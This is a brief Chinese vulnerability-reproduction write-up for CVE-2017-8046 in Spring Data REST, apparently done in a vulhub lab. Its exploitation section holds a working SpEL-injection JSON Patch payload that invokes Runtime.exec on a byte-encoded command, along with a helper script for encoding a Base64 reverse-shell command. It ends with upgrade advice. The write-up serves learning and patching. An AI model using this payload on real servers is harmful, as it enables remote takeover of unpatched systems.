CVE-2017-8046(Spring Data Rest 远程命令执行)
1. 漏洞描述
https://4ra1n.love/post/wQearOYqr/
Spring Data Rest
是Spring Data
框架的其中一个组件,Spring Data Rest
可构建Rest Web
,Spring Data Rest
对PATCH
方法处理不当,path的值被传入setValue
,导致攻击者能够利用JSON数据造成RCE。本质还是因为Spring的SpEl
解析导致的RCE。
2. 影响版本
Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本;
Spring Boot versions 2.0.0M4 之前的版本;
Spring Data release trains Kay-RC3 之前的版本。
3. 漏洞复现
Patch方法是新引入的对PUT方法的补充,用来对已知资源进行局部更新。Patch请求方法有一个标准,必须包含一个path和op字段, op表示具体操作, path用于定位准确数据字段。
3.1 访问首页
3.2 查看/customers详情
1 | http://(ip):8080/customers |
我们可以看到序号为1的用户接口。
3.3 访问/customers/1详情
1 | http://(ip):8080/customers/1 |
我们可以看到我们查询到了用户的数据,我们可以尝试通过这个漏洞将请求通过PUTCH
发送达到修改数据的功能。
3.4 修改用户数据
- 通过
PATCH
请求发包 - 类型为
application/json-patch+json
- 为用户新增属性
此处需要对比查看数据区别:
修改前:
修改数据:
1 | { "op": "replace", "path": "/baz", "value": "boo" } |
删除数据:
1 | { "op": "remove", "path": "/foo" } |
新增数据:
1 | { "op": "add", "path": "/hello", "value": ["world"] } |
此处数据区别我们可以简单猜测一下,是后台在解析时,是通过”op
“参数确定操作,“path
” 参数是属性名,”value是属性值”
3.5 漏洞利用
1 | s1 = input("请输入转ascii的字符:") |
此POC用于将我们Base64编码后的反弹Shell命令转换为ASCII码。
1 | [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{(填入此处)}))/lastname", "value": "vulhub" }] |
我们在端口监听发现已经成功反弹了shell。
4. 漏洞分析
….
5. 修复建议
建议将spring boot的jar包升级到Spring Boot 2.0.0.M4以上